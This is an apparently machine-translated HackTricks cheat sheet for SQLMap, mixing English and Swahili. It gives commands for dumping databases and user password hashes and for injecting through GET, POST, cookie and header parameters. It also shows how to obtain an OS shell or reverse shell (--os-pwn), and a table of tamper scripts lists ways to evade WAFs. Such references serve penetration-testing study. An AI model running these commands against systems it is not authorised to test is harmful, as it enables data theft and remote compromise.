# SQLMap {{#include ../../banners/hacktricks-training.md}} ## Msingi wa hoja za SQLmap ### Kawaida ```bash -u "" -p "" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="" --os="" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="" #HTTP authentication credentials (name:password) --proxy=PROXY ``` ### Technique flags (`--technique`) The `--technique` argument defines which SQL injection methods sqlmap will attempt. Each character in the string represents a technique: | Letter | Technique | Description | | ------ | --------- | ----------- | | B | Boolean-based blind | Inatumia hali za kweli/false kudhani data | | E | Error-based | Inatumia ujumbe wa makosa wa DBMS wenye maelezo mengi ili kutoa matokeo | | U | UNION query | Inajumuisha taarifa za `UNION SELECT` ili kupata data kupitia njia ile ile | | S | Stacked queries | Inaongeza taarifa za ziada zilizotenganishwa na `;` | | T | Time-based blind | Inategemea ucheleweshaji (`SLEEP`, `WAITFOR`) kugundua injection | | Q | Inline / out-of-band | Inatumia kazi kama `LOAD_FILE()` au njia za OOB kama DNS | Default order is `BEUSTQ`. You can rearrange or limit them, e.g. only Boolean and Time-based in that order: ```bash sqlmap -u "http://target/?id=1" --technique="BT" --batch ``` ### Retrieve Information #### Internal ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB ``` #### DB data ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D ) --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` ## Injection place ### From Burp/ZAP capture Shika ombi na uunde faili req.txt ```bash sqlmap -r req.txt --current-user ``` ### GET Request Injection ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### POST Request Injection ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### Injections katika Vichwa na Mbinu Nyingine za HTTP ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### Uingizaji wa agizo la pili ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` ### Shell ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### Tembelea tovuti kwa SQLmap na kuji-exploit kiotomatiki ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ## Kubadilisha Uingiliaji ### Weka kiambishi ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### Kichwa cha Kwanza ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### Msaada wa kutafuta sindano ya boolean ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Maelezo | | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Hubadilisha herufi ya apostrophe na sawa yake ya UTF-8 yenye upana kamili | | apostrophenullencode.py | Hubadilisha herufi ya apostrophe na sawa yake isiyo halali ya double unicode | | appendnullbyte.py | Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload | | base64encode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa Base64 | | between.py | Hubadilisha opereta ya zaidi ya \('>'\) na 'SIO KATI YA 0 NA \#' | | bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL kuwa herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE | | chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\) | | commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' | | commalessmid.py | Hubadilisha matukio kama 'MID\(A, B, C\)' na 'MID\(A KUTOKA B KWA C\)' | | concat2concatws.py | Hubadilisha matukio kama 'CONCAT\(A, B\)' na 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | | charencode.py | Huongeza url-encode herufi zote katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\) | | charunicodeencode.py | Huongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\). "%u0022" | | charunicodeescape.py | Huongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\). "\u0022" | | equaltolike.py | Hubadilisha matukio yote ya opereta sawa \('='\) na opereta 'LIKE' | | escapequotes.py | Huondoa herufi za nukuu \(' na "\) | | greatest.py | Hubadilisha opereta ya zaidi ya \('>'\) na sawa yake ya 'GREATEST' | | halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu | | ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL\(A, B\)' na 'IF\(ISNULL\(A\), B, A\)' | | modsecurityversioned.py | Huweka swali lote ndani ya maoni yenye toleo | | modsecurityzeroversioned.py | Huweka swali lote ndani ya maoni yenye toleo sifuri | | multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL | | nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi yanayofaa kwa kubadilishwa \(e.g. .replace\("SELECT", ""\)\) filters | | percentage.py | Huongeza alama ya asilimia \('%'\) mbele ya kila herufi | | overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\) | | randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi ya nasibu | | randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL | | securesphere.py | Huongeza mfuatano maalum wa kusanifu | | sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS | | space2comment.py | Hubadilisha herufi ya nafasi \(' '\) na maoni | | space2dash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) | | space2hash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) | | space2morehash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) | | space2mssqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala | | space2mssqlhash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mstari mpya \('\n'\) | | space2mysqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala | | space2mysqldash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mstari mpya \('\n'\) | | space2plus.py | Hubadilisha herufi ya nafasi \(' '\) na plus \('+'\) | | space2randomblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala | | symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama \(&& na | | unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT | | unmagicquotes.py | Hubadilisha herufi ya nukuu \('\) na mchanganyiko wa multi-byte %bf%27 pamoja na maoni ya jumla mwishoni \(ili kufanya ifanye kazi\) | | uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' | | varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' | | versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi ndani ya maoni ya MySQL yenye toleo | | versionedmorekeywords.py | Huweka kila neno muhimu ndani ya maoni ya MySQL yenye toleo | | xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' | ## References - [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) {{#include ../../banners/hacktricks-training.md}}